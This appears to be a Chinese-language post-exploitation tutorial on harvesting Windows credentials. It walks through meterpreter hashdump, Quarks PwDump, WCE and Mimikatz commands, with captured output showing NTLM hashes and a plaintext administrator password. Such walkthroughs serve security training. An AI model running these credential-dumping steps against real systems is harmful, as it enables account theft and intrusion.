这里抓取演示的系统都是03的系统。
从目标机中提取hash值,破解hash值就可获得账号密码,计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要访问就必须有系统级账号,所以要使用该命令就必须进行权限提升
在shell提示符下输入hashdump命令,将导出目标机sam数据库中的hash
meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
ASPNET:1007:4274ebc980bc50aed4a6c053eb6761b1:326f3aae7bd9312f6b32afafec858d53:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:ae694413fb708add0aa8b1b47358ce92:::
而另一份模块smart_hashdump的功能更为强大,可以导出域所有用户的hash,其工作流程如下:
- 检查meterpreter会话的权限和目标机操作系统类型
- 检查目标机是否为域控制服务器
- 首先尝试从注册机中读取hash不行再尝试注入LSASS进程
可以暴力或者彩虹表来对抓取到的hash进行破解:http://www.cmd5.com/
一款win32环境下的系统授权信息导出工具,支持的操作系统为xp、03、win7、win8、2008等在windows的密码系统中,密码以加密的方式保存在sam文件中,而账号在登录后会将密码的密文和明文保存在系统的内存中,正常下是不能读取的,但是Qp就能读取
直接运行Quarks PwDump.exe
-dhl:导出本地哈希值
-dhdc:导出内存中的域控哈希值
-dhd:导出域控哈希值,必须指定NTDS文件
-db:导出Bitlocker信息,必须指定NTDS文件
-nt:导出NTDS文件
-hist:导出历史信息,可选项
-t:可选导出类型,默认导出JOhn类型
-o:导出文件到本地
这里使用该工具抓取hash值并导出,可以输入命令导出本地哈希值到当前目录的1.txt
QuarksPwDump.exe --dump-hash-local --output 1.txt
Windows Credentials Editor (WCE) 是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据(例如LM/NTHash)。这些功能在内网渗透中能够被利用,例如,在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击, 而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。
首先输入upload命令将wce.exe上传到目标主机C盘中,然后在目标机Shell下输入wce-w命令,便会成功提取系统明文管理员的密码
meterpreter > upload /root/wce.exe C:\Documents and Settings\Administrator\桌面\wce_v1_3beta>
默认使用-|命令读取数据格式username: domain: Im: ntlm (这种读取是从内存中读取已经登录的信息,而不是读取sam数据库中的信息),默认的读取方式是先用安全的方式读取,若读取失败再用不安全的方式,所以很有可能对系统造成破坏。这里建议使用-f参数强制使用安全的方式读取。-g参数是用来计算密码的,就是制定一个系统明文会使用的加密方法来计算密文-c参数用于指定会话来执行cmd, -v参数用于显示详细信息,这样才能看到luid信息,-w参数是最关键的,用于查看已登录的明文密码
-c参数用于指定会话来执行cmd
-v参数用于显示详细信息
-w用于查看已经登陆的明文密码
-l读取从内存中已经登陆的信息
-f强制使用安全的方式读取
-g用来计算密码
Mimikatz是法国专家Benjamin Delpy (@gentilkiwi)写的轻量级调试器,作为一款后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。在最初渗透阶段之后的大多数时间里,攻击者可能想在计算机/网络中得到一个更坚固的立足点,这样做通常需要一组补充的工具,Mimikatz就是一 种将攻击者想执行的、 最有用的任务捆绑在一起的尝试。需要注意该工具在Windows 2000与Windows XP系统下无法使用Metasploit已经将其作为一个Meterpreter脚本集成了 ,以便用户使用,而不需要上传该软件到目标主机上。Mimikatz必须在管理员权限下使用,此时假设我们通过一系列前期渗透已经成功获得目标机的Meterpreter Shell
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
获取系统SYSTEM权限后,首先查看目标机器的架构。虽然Mimikatz同时支持32位和64位的Windows架构,但如果服务器是64位操作系统,直接使用Mimikatz后,Meterpreter会默认加载一个32位版本的Mimikatz到内存, 使得很多功能无效而且在64位操作系统下必须先查看系统进程列表,然后在加载Mimikatz之前将进程迁移到一个64位程序的进程中,才能查看系统密码明文,在32位操作系统下就没有这个限制。这里输入sysinfo命令
meterpreter > sysinfo
Computer : WWW
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
直接加载mimikatz并查看帮助
meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter > help mimikatz
Mimikatz Commands
=================
Command Description
------- -----------
kerberos Attempt to retrieve kerberos creds.
livessp Attempt to retrieve livessp creds.
mimikatz_command Run a custom command.
msv Attempt to retrieve msv creds (hashes).
ssp Attempt to retrieve ssp creds.
tspkg Attempt to retrieve tspkg creds.
wdigest Attempt to retrieve wdigest creds.
mimikatz command选项可以让我们使用Mimikatz的全部功能,需要通过加载一个错误的模块得到可用模块的完整列表。
meterpreter > mimikatz_command -f a::
Module : 'a' introuvable
Modules disponibles :
- Standard
crypto - Cryptographie et certificats
hash - Hash
system - Gestion syst�me
process - Manipulation des processus
thread - Manipulation des threads
service - Manipulation des services
privilege - Manipulation des privil�ges
handle - Manipulation des handles
impersonate - Manipulation tokens d'acc�s
winmine - Manipulation du d�mineur
minesweeper - Manipulation du d�mineur 7
nogpo - Anti-gpo et patchs divers
samdump - Dump de SAM
inject - Injecteur de librairies
ts - Terminal Server
divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
sekurlsa - Dump des sessions courantes par providers LSASS
efs - Manipulations EFS
我们可以使用":”语法请求某个模块可用的选项,选定一个模块后也可以使用”:”查看本模块的帮助,例如查看Hash的可用选项有Im和ntlm两种
meterpreter > mimikatz_command -f hash::
Module : 'hash' identifi�, mais commande '' introuvable
Description du module : Hash
lm - Hash LanManager (LM) d'une cha�ne de caract�res
ntlm - Hash NT LanManger (NTLM) d'une cha�ne de caract�res
知道了Mimikatz的大概使用方法后,我们既可以使用Metasploit内建的命令,也可以使用Mimikatz自带的命令从目标机器上导出Hash和明文证书。接着直接输入msv命令抓取系统Hash值。
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;202037 NTLM WWW Administrator lm{
44efce164ab921caaad3b435b51404ee }, ntlm{
32ed87bdb5fdc5e9cba88547376818d4 }
0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{
aad3b435b51404eeaad3b435b51404ee }, ntlm{
31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;53201 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP WWW$ n.s. (Credentials KO)
输入kerberos命令可以抓取系统票据
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;53201 NTLM
0;999 NTLM WORKGROUP WWW$
0;202037 NTLM WWW Administrator 123456
输入wdigest命令可以获取系统账户信息
meterpreter > wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;53201 NTLM
0;999 NTLM WORKGROUP WWW$
0;202037 NTLM WWW Administrator 123456
接着输入samdump命令查看samdump的可用选项,然后输入mimikatz_command -f samdump:: hashes命令抓取Hash
mimikatz_command -f samdump::
Mimikatz除了可以抓取Hash,还有很多其他功能,例如使用Handle模块、list/kill进程,以及模拟用户令牌。